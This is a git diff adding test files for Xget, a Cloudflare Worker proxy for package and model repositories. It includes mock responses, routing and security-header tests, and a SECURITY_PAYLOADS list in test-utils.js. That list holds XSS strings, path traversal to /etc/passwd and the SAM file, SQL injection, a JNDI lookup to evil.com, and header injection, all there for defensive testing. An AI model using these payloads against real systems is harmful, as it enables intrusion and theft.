'Content-Disposition': 'attachment; filename="react-18.2.0.tgz"' + }, + body: 'tarball-data-placeholder' + } + }, + + pypi: { + simpleIndex: { + status: 200, + headers: { + 'Content-Type': 'text/html' + }, + body: ` + +Links for requests + +

Links for requests

+requests-2.31.0.tar.gz
+requests-2.31.0-py3-none-any.whl
+ +` + }, + + packageFile: { + status: 200, + headers: { + 'Content-Type': 'application/gzip', + 'Content-Disposition': 'attachment; filename="requests-2.31.0.tar.gz"' + }, + body: 'gzip-data-placeholder' + }, + + wheelFile: { + status: 200, + headers: { + 'Content-Type': 'application/zip', + 'Content-Disposition': 'attachment; filename="requests-2.31.0-py3-none-any.whl"' + }, + body: 'wheel-data-placeholder' + } + }, + + conda: { + repodata: { + status: 200, + headers: { + 'Content-Type': 'application/json' + }, + body: JSON.stringify({ + info: { + subdir: 'linux-64' + }, + packages: { + 'numpy-1.24.3-py311h08b1b3b_1.conda': { + build: 'py311h08b1b3b_1', + build_number: 1, + depends: ['python >=3.11,<3.12.0a0'], + license: 'BSD-3-Clause', + name: 'numpy', + platform: 'linux', + subdir: 'linux-64', + timestamp: 1679932871000, + version: '1.24.3' + } + } + }) + }, + + packageFile: { + status: 200, + headers: { + 'Content-Type': 'application/x-conda-package', + 'Content-Disposition': 'attachment; filename="numpy-1.24.3-py311h08b1b3b_1.conda"' + }, + body: 'conda-package-data-placeholder' + } + }, + + errors: { + badRequest: { + status: 400, + headers: { + 'Content-Type': 'text/plain' + }, + body: 'Bad Request' + }, + + unauthorized: { + status: 401, + headers: { + 'Content-Type': 'text/plain' + }, + body: 'Unauthorized' + }, + + forbidden: { + status: 403, + headers: { + 'Content-Type': 'text/plain' + }, + body: 'Forbidden' + }, + + notFound: { + status: 404, + headers: { + 'Content-Type': 'text/plain' + }, + body: 'Not Found' + }, + + methodNotAllowed: { + status: 405, + headers: { + 'Content-Type': 'text/plain', + 'Allow': 'GET, HEAD' + }, + body: 'Method Not Allowed' + }, + + pathTooLong: { + status: 414, + headers: { + 'Content-Type': 'text/plain' + }, + body: 'URI Too Long' + }, + + internalServerError: { + status: 500, + headers: { + 'Content-Type': 'text/plain' + }, + body: 'Internal Server Error' + }, + + badGateway: { + status: 502, + headers: { + 'Content-Type': 'text/plain' + }, + body: 'Bad Gateway' + }, + + serviceUnavailable: { + status: 503, + headers: { + 'Content-Type': 'text/plain' + }, + body: 'Service Unavailable' + }, + + gatewayTimeout: { + status: 504, + headers: { + 'Content-Type': 'text/plain' + }, + body: 'Gateway Timeout' + } + } +}; + +/** + * Create a Response object from mock data + * @param {Object} mockData - Mock response data + * @returns {Response} Response object + */ +export function createMockResponse(mockData) { + return new Response(mockData.body, { + status: mockData.status, + statusText: getStatusText(mockData.status), + headers: mockData.headers + }); +} + +/** + * Get status text for HTTP status code + * @param {number} status - HTTP status code + * @returns {string} Status text + */ +function getStatusText(status) { + const statusTexts = { + 200: 'OK', + 201: 'Created', + 204: 'No Content', + 301: 'Moved Permanently', + 302: 'Found', + 304: 'Not Modified', + 400: 'Bad Request', + 401: 'Unauthorized', + 403: 'Forbidden', + 404: 'Not Found', + 405: 'Method Not Allowed', + 414: 'URI Too Long', + 429: 'Too Many Requests', + 500: 'Internal Server Error', + 502: 'Bad Gateway', + 503: 'Service Unavailable', + 504: 'Gateway Timeout' + }; + + return statusTexts[status] || 'Unknown'; +} + +/** + * Mock fetch function that returns predefined responses + * @param {string} url - Request URL + * @param {Object} options - Fetch options + * @returns {Promise} Mock response + */ +export function mockFetchWithFixtures(url, options = {}) { + return new Promise((resolve) => { + // Simulate network delay + setTimeout(() => { + const urlObj = new URL(url); + const path = urlObj.pathname; + + // Route to appropriate mock response based on URL pattern + if (path.includes('/gh/') && path.includes('package.json')) { + resolve(createMockResponse(MOCK_RESPONSES.github.packageJson)); + } else if (path.includes('/gh/') && path.includes('README.md')) { + resolve(createMockResponse(MOCK_RESPONSES.github.readme)); + } else if (path.includes('/gl/') && path.includes('package.json')) { + resolve(createMockResponse(MOCK_RESPONSES.gitlab.packageJson)); + } else if (path.includes('/hf/') && path.includes('config.json')) { + resolve(createMockResponse(MOCK_RESPONSES.huggingface.modelConfig)); + } else if (path.includes('/npm/') && !path.includes('.tgz')) { + resolve(createMockResponse(MOCK_RESPONSES.npm.packageMetadata)); + } else if (path.includes('/pypi/simple/')) { + resolve(createMockResponse(MOCK_RESPONSES.pypi.simpleIndex)); + } else if (path.includes('/conda/') && path.includes('repodata.json')) { + resolve(createMockResponse(MOCK_RESPONSES.conda.repodata)); + } else if (options.method && !['GET', 'HEAD', 'POST'].includes(options.method)) { + resolve(createMockResponse(MOCK_RESPONSES.errors.methodNotAllowed)); + } else if (path.length > 2048) { + resolve(createMockResponse(MOCK_RESPONSES.errors.pathTooLong)); + } else { + resolve(createMockResponse(MOCK_RESPONSES.errors.notFound)); + } + }, Math.random() * 50 + 10); // 10-60ms delay + }); +} \ No newline at end of file diff --git a/test/helpers/test-utils.js b/test/helpers/test-utils.js new file mode 100644 index 0000000..cc3937c --- /dev/null +++ b/test/helpers/test-utils.js @@ -0,0 +1,314 @@ +/** + * Test utilities and helper functions + */ + +/** + * Create a mock request with default options + * @param {string} url - Request URL + * @param {Object} options - Request options + * @returns {Request} Mock request object + */ +export function createMockRequest(url, options = {}) { + const defaultOptions = { + method: 'GET', + headers: { + 'User-Agent': 'Mozilla/5.0 (Test)', + 'Accept': '*/*' + } + }; + + return new Request(url, { ...defaultOptions, ...options }); +} + +/** + * Create a mock response with default options + * @param {string} body - Response body + * @param {Object} options - Response options + * @returns {Response} Mock response object + */ +export function createMockResponse(body = 'OK', options = {}) { + const defaultOptions = { + status: 200, + statusText: 'OK', + headers: { + 'Content-Type': 'text/plain' + } + }; + + return new Response(body, { ...defaultOptions, ...options }); +} + +/** + * Create a Git request for testing + * @param {string} url - Git repository URL + * @param {string} service - Git service (upload-pack or receive-pack) + * @returns {Request} Git request object + */ +export function createGitRequest(url, service = 'git-upload-pack') { + const gitUrl = url.includes('?') + ? `${url}&service=${service}` + : `${url}?service=${service}`; + + return new Request(gitUrl, { + method: service === 'git-upload-pack' ? 'GET' : 'POST', + headers: { + 'User-Agent': 'git/2.34.1', + 'Git-Protocol': 'version=2', + ...(service !== 'git-upload-pack' && { + 'Content-Type': `application/x-${service}-request` + }) + } + }); +} + +/** + * Generate test URLs for different platforms + * @param {string} platform - Platform identifier (gh, gl, hf, etc.) + * @param {string} path - Resource path + * @returns {string} Complete test URL + */ +export function generateTestUrl(platform, path) { + const baseUrl = 'https://example.com'; + return `${baseUrl}/${platform}/${path}`; +} + +/** + * Common test URLs for different platforms + */ +export const TEST_URLS = { + github: { + file: 'https://example.com/gh/microsoft/vscode/blob/main/package.json', + raw: 'https://example.com/gh/microsoft/vscode/raw/main/README.md', + release: 'https://example.com/gh/microsoft/vscode/releases/download/1.85.0/vscode.zip', + archive: 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip', + git: 'https://example.com/gh/microsoft/vscode.git' + }, + gitlab: { + file: 'https://example.com/gl/gitlab-org/gitlab/-/blob/master/package.json', + raw: 'https://example.com/gl/gitlab-org/gitlab/-/raw/master/README.md', + archive: 'https://example.com/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip', + git: 'https://example.com/gl/gitlab-org/gitlab.git' + }, + huggingface: { + model: 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json', + dataset: 'https://example.com/hf/datasets/squad/resolve/main/train.json', + file: 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/pytorch_model.bin' + }, + npm: { + package: 'https://example.com/npm/react', + tarball: 'https://example.com/npm/react/-/react-18.2.0.tgz', + scoped: 'https://example.com/npm/@types/node' + }, + pypi: { + simple: 'https://example.com/pypi/simple/requests/', + package: 'https://example.com/pypi/packages/source/r/requests/requests-2.31.0.tar.gz', + wheel: 'https://example.com/pypi/packages/py3/r/requests/requests-2.31.0-py3-none-any.whl' + }, + conda: { + main: 'https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3.conda', + community: 'https://example.com/conda/community/conda-forge/linux-64/repodata.json', + repodata: 'https://example.com/conda/pkgs/main/linux-64/repodata.json' + } +}; + +/** + * Security test payloads + */ +export const SECURITY_PAYLOADS = { + xss: [ + '', + 'javascript:alert(1)', + '">', + '\';alert(1);//' + ], + pathTraversal: [ + '../../../etc/passwd', + '..%2F..%2F..%2Fetc%2Fpasswd', + '..\\..\\..\\windows\\system32\\config\\sam', + '%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd' + ], + injection: [ + '\'; DROP TABLE users; --', + '${jndi:ldap://evil.com}', + '{{7*7}}', + '<%=7*7%>' + ], + headerInjection: [ + 'value\r\nX-Injected: malicious', + 'value\nX-Injected: malicious', + 'value\r\n\r\n' + ] +}; + +/** + * Performance test utilities + */ +export class PerformanceTestHelper { + constructor() { + this.measurements = []; + } + + /** + * Measure execution time of an async function + * @param {Function} fn - Async function to measure + * @param {string} name - Measurement name + * @returns {Promise} Function result + */ + async measure(fn, name = 'operation') { + const start = performance.now(); + const result = await fn(); + const end = performance.now(); + + this.measurements.push({ + name, + duration: end - start, + timestamp: Date.now() + }); + + return result; + } + + /** + * Get all measurements + * @returns {Array} Array of measurements + */ + getMeasurements() { + return [...this.measurements]; + } + + /** + * Get average duration for a specific measurement name + * @param {string} name - Measurement name + * @returns {number} Average duration in milliseconds + */ + getAverageDuration(name) { + const filtered = this.measurements.filter(m => m.name === name); + if (filtered.length === 0) return 0; + + const total = filtered.reduce((sum, m) => sum + m.duration, 0); + return total / filtered.length; + } + + /** + * Clear all measurements + */ + clear() { + this.measurements = []; + } +} + +/** + * Mock fetch function for testing + * @param {string} url - Request URL + * @param {Object} options - Fetch options + * @returns {Promise} Mock response + */ +export function mockFetch(url, options = {}) { + // Simulate network delay + return new Promise(resolve => { + setTimeout(() => { + if (url.includes('error')) { + resolve(createMockResponse('Server Error', { status: 500 })); + } else if (url.includes('notfound')) { + resolve(createMockResponse('Not Found', { status: 404 })); + } else { + resolve(createMockResponse('Mock Response', { status: 200 })); + } + }, 10); + }); +} + +/** + * Validate response headers for security + * @param {Response} response - Response to validate + * @returns {Object} Validation results + */ +export function validateSecurityHeaders(response) { + const requiredHeaders = [ + 'Strict-Transport-Security', + 'X-Frame-Options', + 'X-XSS-Protection', + 'Content-Security-Policy', + 'Referrer-Policy' + ]; + + const results = { + passed: true, + missing: [], + present: [] + }; + + requiredHeaders.forEach(header => { + if (response.headers.has(header)) { + results.present.push(header); + } else { + results.missing.push(header); + results.passed = false; + } + }); + + return results; +} + +/** + * Generate random test data + */ +export const TestDataGenerator = { + /** + * Generate random string + * @param {number} length - String length + * @returns {string} Random string + */ + randomString(length = 10) { + const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; + let result = ''; + for (let i = 0; i < length; i++) { + result += chars.charAt(Math.floor(Math.random() * chars.length)); + } + return result; + }, + + /** + * Generate random GitHub repository path + * @returns {string} Repository path + */ + githubRepo() { + const users = ['microsoft', 'google', 'facebook', 'apple', 'amazon']; + const repos = ['vscode', 'react', 'angular', 'vue', 'node']; + const user = users[Math.floor(Math.random() * users.length)]; + const repo = repos[Math.floor(Math.random() * repos.length)]; + return `${user}/${repo}`; + }, + + /** + * Generate random file path + * @returns {string} File path + */ + filePath() { + const dirs = ['src', 'lib', 'test', 'docs', 'config']; + const files = ['index.js', 'main.py', 'README.md', 'package.json', 'config.yml']; + const dir = dirs[Math.floor(Math.random() * dirs.length)]; + const file = files[Math.floor(Math.random() * files.length)]; + return `${dir}/${file}`; + } +}; + +/** + * Test timeout helper + * @param {number} ms - Timeout in milliseconds + * @returns {Promise} Promise that rejects after timeout + */ +export function timeout(ms) { + return new Promise((_, reject) => { + setTimeout(() => reject(new Error(`Test timed out after ${ms}ms`)), ms); + }); +} + +/** + * Wait for a specified amount of time + * @param {number} ms - Time to wait in milliseconds + * @returns {Promise} Promise that resolves after the specified time + */ +export function wait(ms) { + return new Promise(resolve => setTimeout(resolve, ms)); +} \ No newline at end of file diff --git a/test/index.test.js b/test/index.test.js new file mode 100644 index 0000000..307d241 --- /dev/null +++ b/test/index.test.js @@ -0,0 +1,184 @@ +import { SELF } from 'cloudflare:test'; +import { beforeEach, describe, expect, it } from 'vitest'; + +describe('Xget Core Functionality', () => { + let env; + + beforeEach(() => { + env = {}; + }); + + describe('Basic Request Handling', () => { + it('should return 404 for root path', async () => { + const response = await SELF.fetch('https://example.com/'); + expect(response.status).toBe(404); + }); + + it('should return 400 for invalid platform prefix', async () => { + const response = await SELF.fetch('https://example.com/invalid/test'); + expect(response.status).toBe(400); + }); + + it('should include security headers in all responses', async () => { + const response = await SELF.fetch('https://example.com/'); + + expect(response.headers.get('Strict-Transport-Security')).toBeTruthy(); + expect(response.headers.get('X-Frame-Options')).toBe('DENY'); + expect(response.headers.get('X-XSS-Protection')).toBe('1; mode=block'); + expect(response.headers.get('Content-Security-Policy')).toBeTruthy(); + expect(response.headers.get('Referrer-Policy')).toBe('strict-origin-when-cross-origin'); + }); + }); + + describe('Platform URL Transformation', () => { + it('should handle GitHub URLs correctly', async () => { + const testUrl = 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip'; + const response = await SELF.fetch(testUrl, { method: 'HEAD' }); + + // Should attempt to proxy to GitHub + expect(response.status).not.toBe(400); + }); + + it('should handle GitLab URLs correctly', async () => { + const testUrl = 'https://example.com/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip'; + const response = await SELF.fetch(testUrl, { method: 'HEAD' }); + + // Should attempt to proxy to GitLab + expect(response.status).not.toBe(400); + }); + + it('should handle Hugging Face URLs correctly', async () => { + const testUrl = 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json'; + const response = await SELF.fetch(testUrl, { method: 'HEAD' }); + + // Should attempt to proxy to Hugging Face + expect(response.status).not.toBe(400); + }); + + it('should handle npm URLs correctly', async () => { + const testUrl = 'https://example.com/npm/react/-/react-18.2.0.tgz'; + const response = await SELF.fetch(testUrl, { method: 'HEAD' }); + + // Should attempt to proxy to npm + expect(response.status).not.toBe(400); + }); + + it('should handle PyPI URLs correctly', async () => { + const testUrl = 'https://example.com/pypi/packages/source/r/requests/requests-2.31.0.tar.gz'; + const response = await SELF.fetch(testUrl, { method: 'HEAD' }); + + // Should attempt to proxy to PyPI + expect(response.status).not.toBe(400); + }); + + it('should handle conda URLs correctly', async () => { + const testUrl = 'https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3-py311h08b1b3b_1.conda'; + const response = await SELF.fetch(testUrl, { method: 'HEAD' }); + + // Should attempt to proxy to conda + expect(response.status).not.toBe(400); + }); + }); + + describe('HTTP Method Validation', () => { + it('should allow GET requests', async () => { + const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', { + method: 'GET' + }); + + expect(response.status).not.toBe(405); + }); + + it('should allow HEAD requests', async () => { + const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', { + method: 'HEAD' + }); + + expect(response.status).not.toBe(405); + }); + + it('should reject PUT requests for non-Git operations', async () => { + const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', { + method: 'PUT' + }); + + expect(response.status).toBe(405); + }); + + it('should reject DELETE requests', async () => { + const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', { + method: 'DELETE' + }); + + expect(response.status).toBe(405); + }); + }); + + describe('Git Protocol Support', () => { + it('should allow POST for Git upload-pack', async () => { + const response = await SELF.fetch('https://example.com/gh/test/repo.git/git-upload-pack', { + method: 'POST', + headers: { + 'Content-Type': 'application/x-git-upload-pack-request', + 'User-Agent': 'git/2.34.1' + } + }); + + expect(response.status).not.toBe(405); + }); + + it('should allow POST for Git receive-pack', async () => { + const response = await SELF.fetch('https://example.com/gh/test/repo.git/git-receive-pack', { + method: 'POST', + headers: { + 'Content-Type': 'application/x-git-receive-pack-request', + 'User-Agent': 'git/2.34.1' + } + }); + + expect(response.status).not.toBe(405); + }); + + it('should handle Git info/refs requests', async () => { + const response = await SELF.fetch('https://example.com/gh/test/repo.git/info/refs?service=git-upload-pack', { + method: 'GET', + headers: { + 'User-Agent': 'git/2.34.1' + } + }); + + expect(response.status).not.toBe(405); + }); + }); + + describe('Path Length Validation', () => { + it('should reject extremely long paths', async () => { + const longPath = '/gh/' + 'a'.repeat(3000); + const response = await SELF.fetch(`https://example.com${longPath}`); + + expect(response.status).toBe(414); + }); + + it('should accept normal length paths', async () => { + const normalPath = '/gh/microsoft/vscode/archive/refs/heads/main.zip'; + const response = await SELF.fetch(`https://example.com${normalPath}`); + + expect(response.status).not.toBe(414); + }); + }); + + describe('Performance Headers', () => { + it('should include performance metrics in response headers', async () => { + const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt'); + + expect(response.headers.get('X-Performance-Metrics')).toBeTruthy(); + }); + + it('should include valid JSON in performance metrics', async () => { + const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt'); + const metricsHeader = response.headers.get('X-Performance-Metrics'); + + expect(() => JSON.parse(metricsHeader)).not.toThrow(); + }); + }); +}); \ No newline at end of file diff --git a/test/integration.test.js b/test/integration.test.js new file mode 100644 index 0000000..e0ccd5b --- /dev/null +++ b/test/integration.test.js @@ -0,0 +1,267 @@ +import { SELF } from 'cloudflare:test'; +import { describe, expect, it } from 'vitest'; + +describe('Integration Tests', () => { + describe('End-to-End Platform Integration', () => { + it('should proxy GitHub file requests correctly', async () => { + const testUrl = 'https://example.com/gh/microsoft/vscode/blob/main/package.json'; + const response = await SELF.fetch(testUrl, { method: 'HEAD' }); + + // Should attempt to proxy to GitHub + expect([200, 301, 302, 404]).toContain(response.status); + + // Should include security headers + expect(response.headers.get('Strict-Transport-Security')).toBeTruthy(); + expect(response.headers.get('X-Performance-Metrics')).toBeTruthy(); + }); + + it('should handle GitHub raw file requests', async () => { + const testUrl = 'https://example.com/gh/microsoft/vscode/raw/main/README.md'; + const response = await SELF.fetch(testUrl, { method: 'HEAD' }); + + expect([200, 301, 302, 404]).toContain(response.status); + }); + + it('should handle GitHub release downloads', async () => { + const testUrl = 'https://example.com/gh/microsoft/vscode/releases/download/1.85.0/VSCode-linux-x64.tar.gz'; + const response = await SELF.fetch(testUrl, { method: 'HEAD' }); + + expect([200, 301, 302, 404]).toContain(response.status); + }); + + it('should proxy GitLab file requests correctly', async () => { + const testUrl = 'https://example.com/gl/gitlab-org/gitlab/-/raw/master/package.json'; + const response = await SELF.fetch(testUrl, { method: 'HEAD' }); + + expect([200, 301, 302, 404]).toContain(response.status); + expect(response.headers.get('X-Performance-Metrics')).toBeTruthy(); + }); + + it('should handle Hugging Face model files', async () => { + const testUrl = 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json'; + const response = await SELF.fetch(testUrl, { method: 'HEAD' }); + + expect([200, 301, 302, 404]).toContain(response.status); + }); + + it('should handle npm package requests', async () => { + const testUrl = 'https://example.com/npm/react'; + const response = await SELF.fetch(testUrl, { method: 'HEAD' }); + + expect([200, 301, 302, 404]).toContain(response.status); + }); + + it('should handle PyPI package requests', async () => { + const testUrl = 'https://example.com/pypi/simple/requests/'; + const response = await SELF.fetch(testUrl, { method: 'HEAD' }); + + expect([200, 301, 302, 404]).toContain(response.status); + }); + + it('should handle conda package requests', async () => { + const testUrl = 'https://example.com/conda/pkgs/main/linux-64/repodata.json'; + const response = await SELF.fetch(testUrl, { method: 'HEAD' }); + + expect([200, 301, 302, 404]).toContain(response.status); + }); + }); + + describe('Git Protocol Integration', () => { + it('should handle Git info/refs requests', async () => { + const testUrl = 'https://example.com/gh/microsoft/vscode.git/info/refs?service=git-upload-pack'; + const response = await SELF.fetch(testUrl, { + headers: { + 'User-Agent': 'git/2.34.1' + } + }); + + expect([200, 301, 302, 404]).toContain(response.status); + }); + + it('should handle Git upload-pack requests', async () => { + const testUrl = 'https://example.com/gh/microsoft/vscode.git/git-upload-pack'; + const response = await SELF.fetch(testUrl, { + method: 'POST', + headers: { + 'Content-Type': 'application/x-git-upload-pack-request', + 'User-Agent': 'git/2.34.1' + }, + body: '0000' // Minimal Git protocol data + }); + + expect([200, 301, 302, 400, 404]).toContain(response.status); + }); + + it('should preserve Git-specific headers', async () => { + const testUrl = 'https://example.com/gh/test/repo.git/info/refs'; + const response = await SELF.fetch(testUrl, { + headers: { + 'User-Agent': 'git/2.34.1', + 'Git-Protocol': 'version=2' + } + }); + + // Should not reject Git-specific headers + expect(response.status).not.toBe(400); + }); + }); + + describe('Caching Integration', () => { + it('should cache responses appropriately', async () => { + const testUrl = 'https://example.com/gh/test/repo/static-file.txt'; + + // First request + const response1 = await SELF.fetch(testUrl); + const metrics1 = response1.headers.get('X-Performance-Metrics'); + + // Second request (should potentially hit cache) + const response2 = await SELF.fetch(testUrl); + const metrics2 = response2.headers.get('X-Performance-Metrics'); + + expect(metrics1).toBeTruthy(); + expect(metrics2).toBeTruthy(); + + // Both requests should succeed + expect(response1.status).toBe(response2.status); + }); + + it('should not cache Git protocol requests', async () => { + const testUrl = 'https://example.com/gh/test/repo.git/info/refs?service=git-upload-pack'; + + const response = await SELF.fetch(testUrl, { + headers: { + 'User-Agent': 'git/2.34.1' + } + }); + + // Git requests should not be cached (no cache headers) + expect(response.headers.get('Cache-Control')).not.toContain('max-age=1800'); + }); + }); + + describe('Error Handling Integration', () => { + it('should handle upstream server errors gracefully', async () => { + const testUrl = 'https://example.com/gh/nonexistent/repo/file.txt'; + const response = await SELF.fetch(testUrl); + + // Should handle 404 from upstream gracefully + expect([404, 502, 503]).toContain(response.status); + expect(response.headers.get('X-Performance-Metrics')).toBeTruthy(); + }); + + it('should handle network timeouts', async () => { + // This would test timeout handling, but is difficult to simulate + // in a unit test environment. In practice, this would be tested + // with a mock server that delays responses. + const testUrl = 'https://example.com/gh/test/repo/file.txt'; + const response = await SELF.fetch(testUrl); + + // Should complete within reasonable time + expect(response.status).toBeDefined(); + }); + + it('should retry failed requests', async () => { + // Test retry mechanism by checking performance metrics + const testUrl = 'https://example.com/gh/test/unreliable-endpoint'; + const response = await SELF.fetch(testUrl); + + const metricsHeader = response.headers.get('X-Performance-Metrics'); + if (metricsHeader) { + const metrics = JSON.parse(metricsHeader); + // If retries occurred, there should be timing data + expect(typeof metrics).toBe('object'); + } + }); + }); + + describe('Performance Integration', () => { + it('should complete requests within reasonable time', async () => { + const startTime = Date.now(); + const testUrl = 'https://example.com/gh/test/repo/small-file.txt'; + + const response = await SELF.fetch(testUrl); + const endTime = Date.now(); + + const duration = endTime - startTime; + + // Should complete within 30 seconds (timeout limit) + expect(duration).toBeLessThan(30000); + expect(response.status).toBeDefined(); + }); + + it('should include performance metrics in all responses', async () => { + const testUrls = [ + 'https://example.com/gh/test/repo/file.txt', + 'https://example.com/gl/test/repo/file.txt', + 'https://example.com/hf/test/model/config.json', + 'https://example.com/npm/test-package', + 'https://example.com/pypi/simple/test/', + 'https://example.com/conda/pkgs/main/test.json' + ]; + + for (const url of testUrls) { + const response = await SELF.fetch(url, { method: 'HEAD' }); + expect(response.headers.get('X-Performance-Metrics')).toBeTruthy(); + } + }); + }); + + describe('Content Type Handling', () => { + it('should preserve content types from upstream', async () => { + const testCases = [ + { url: 'https://example.com/gh/test/repo/image.png', expectedType: 'image' }, + { url: 'https://example.com/gh/test/repo/data.json', expectedType: 'json' }, + { url: 'https://example.com/gh/test/repo/style.css', expectedType: 'css' }, + { url: 'https://example.com/gh/test/repo/script.js', expectedType: 'javascript' } + ]; + + for (const testCase of testCases) { + const response = await SELF.fetch(testCase.url, { method: 'HEAD' }); + + if (response.status === 200) { + const contentType = response.headers.get('Content-Type'); + if (contentType) { + expect(contentType.toLowerCase()).toContain(testCase.expectedType); + } + } + } + }); + }); + + describe('Range Request Support', () => { + it('should support partial content requests', async () => { + const testUrl = 'https://example.com/gh/test/repo/large-file.zip'; + const response = await SELF.fetch(testUrl, { + headers: { + 'Range': 'bytes=0-1023' + } + }); + + // Should either support range requests (206) or return full content (200) + expect([200, 206, 404]).toContain(response.status); + + if (response.status === 206) { + expect(response.headers.get('Content-Range')).toBeTruthy(); + } + }); + }); + + describe('Cross-Platform Consistency', () => { + it('should handle similar requests consistently across platforms', async () => { + const testCases = [ + 'https://example.com/gh/test/repo/README.md', + 'https://example.com/gl/test/repo/README.md' + ]; + + const responses = await Promise.all( + testCases.map(url => SELF.fetch(url, { method: 'HEAD' })) + ); + + // All responses should have consistent security headers + responses.forEach(response => { + expect(response.headers.get('Strict-Transport-Security')).toBeTruthy(); + expect(response.headers.get('X-Performance-Metrics')).toBeTruthy(); + }); + }); + }); +}); \ No newline at end of file diff --git a/test/performance.test.js b/test/performance.test.js new file mode 100644 index 0000000..f6ecd47 --- /dev/null +++ b/test/performance.test.js @@ -0,0 +1,231 @@ +import { beforeEach, describe, expect, it } from 'vitest'; + +// Mock PerformanceMonitor class for testing +class MockPerformanceMonitor { + constructor() { + this.startTime = Date.now(); + this.marks = new Map(); + } + + mark(name) { + if (this.marks.has(name)) { + console.warn(`Mark with name ${name} already exists.`); + } + this.marks.set(name, Date.now() - this.startTime); + } + + getMetrics() { + return Object.fromEntries(this.marks.entries()); + } +} + +describe('Performance Monitoring', () => { + let monitor; + + beforeEach(() => { + monitor = new MockPerformanceMonitor(); + }); + + describe('PerformanceMonitor Class', () => { + it('should initialize with start time', () => { + expect(monitor.startTime).toBeDefined(); + expect(typeof monitor.startTime).toBe('number'); + }); + + it('should create timing marks', () => { + monitor.mark('test-mark'); + + const metrics = monitor.getMetrics(); + expect(metrics).toHaveProperty('test-mark'); + expect(typeof metrics['test-mark']).toBe('number'); + }); + + it('should handle multiple marks', () => { + monitor.mark('mark1'); + monitor.mark('mark2'); + monitor.mark('mark3'); + + const metrics = monitor.getMetrics(); + expect(Object.keys(metrics)).toHaveLength(3); + expect(metrics).toHaveProperty('mark1'); + expect(metrics).toHaveProperty('mark2'); + expect(metrics).toHaveProperty('mark3'); + }); + + it('should warn on duplicate mark names', () => { + const consoleSpy = vi.spyOn(console, 'warn').mockImplementation(() => {}); + + monitor.mark('duplicate'); + monitor.mark('duplicate'); + + expect(consoleSpy).toHaveBeenCalledWith('Mark with name duplicate already exists.'); + + consoleSpy.mockRestore(); + }); + + it('should return metrics as plain object', () => { + monitor.mark('test'); + + const metrics = monitor.getMetrics(); + expect(metrics).toBeTypeOf('object'); + expect(Array.isArray(metrics)).toBe(false); + }); + + it('should track elapsed time correctly', async () => { + monitor.mark('start'); + + // Wait a small amount of time + await new Promise(resolve => setTimeout(resolve, 10)); + + monitor.mark('end'); + + const metrics = monitor.getMetrics(); + expect(metrics.end).toBeGreaterThan(metrics.start); + }); + }); + + describe('Performance Metrics Validation', () => { + it('should produce serializable metrics', () => { + monitor.mark('request-start'); + monitor.mark('proxy-start'); + monitor.mark('proxy-end'); + monitor.mark('request-end'); + + const metrics = monitor.getMetrics(); + + expect(() => JSON.stringify(metrics)).not.toThrow(); + }); + + it('should have reasonable timing values', () => { + monitor.mark('test-mark'); + + const metrics = monitor.getMetrics(); + const timing = metrics['test-mark']; + + // Should be a positive number and reasonable (less than 1 second for this test) + expect(timing).toBeGreaterThanOrEqual(0); + expect(timing).toBeLessThan(1000); + }); + + it('should maintain chronological order', async () => { + monitor.mark('first'); + await new Promise(resolve => setTimeout(resolve, 5)); + monitor.mark('second'); + await new Promise(resolve => setTimeout(resolve, 5)); + monitor.mark('third'); + + const metrics = monitor.getMetrics(); + + expect(metrics.first).toBeLessThan(metrics.second); + expect(metrics.second).toBeLessThan(metrics.third); + }); + }); + + describe('Common Performance Scenarios', () => { + it('should track request lifecycle', () => { + // Simulate typical request flow + monitor.mark('request-received'); + monitor.mark('validation-complete'); + monitor.mark('proxy-start'); + monitor.mark('proxy-response'); + monitor.mark('response-sent'); + + const metrics = monitor.getMetrics(); + + expect(metrics).toHaveProperty('request-received'); + expect(metrics).toHaveProperty('validation-complete'); + expect(metrics).toHaveProperty('proxy-start'); + expect(metrics).toHaveProperty('proxy-response'); + expect(metrics).toHaveProperty('response-sent'); + }); + + it('should track cache operations', () => { + monitor.mark('cache-check-start'); + monitor.mark('cache-miss'); + monitor.mark('upstream-request'); + monitor.mark('cache-store'); + + const metrics = monitor.getMetrics(); + + expect(metrics).toHaveProperty('cache-check-start'); + expect(metrics).toHaveProperty('cache-miss'); + expect(metrics).toHaveProperty('upstream-request'); + expect(metrics).toHaveProperty('cache-store'); + }); + + it('should track error scenarios', () => { + monitor.mark('request-start'); + monitor.mark('error-occurred'); + monitor.mark('error-handled'); + + const metrics = monitor.getMetrics(); + + expect(metrics).toHaveProperty('request-start'); + expect(metrics).toHaveProperty('error-occurred'); + expect(metrics).toHaveProperty('error-handled'); + }); + }); + + describe('Performance Thresholds', () => { + it('should identify slow operations', () => { + monitor.mark('operation-start'); + + // Simulate slow operation + const slowTiming = 5000; // 5 seconds + monitor.marks.set('operation-end', slowTiming); + + const metrics = monitor.getMetrics(); + const operationTime = metrics['operation-end'] - (metrics['operation-start'] || 0); + + // Should identify as slow (> 1 second) + expect(operationTime).toBeGreaterThan(1000); + }); + + it('should identify fast operations', () => { + monitor.mark('fast-operation'); + + const metrics = monitor.getMetrics(); + const timing = metrics['fast-operation']; + + // Should be fast (< 100ms for this test) + expect(timing).toBeLessThan(100); + }); + }); + + describe('Memory and Resource Usage', () => { + it('should not leak memory with many marks', () => { + const initialSize = monitor.marks.size; + + // Add many marks + for (let i = 0; i < 1000; i++) { + monitor.mark(`mark-${i}`); + } + + expect(monitor.marks.size).toBe(initialSize + 1000); + + // Clear marks (if such method existed) + monitor.marks.clear(); + expect(monitor.marks.size).toBe(0); + }); + + it('should handle concurrent mark operations', () => { + const promises = []; + + for (let i 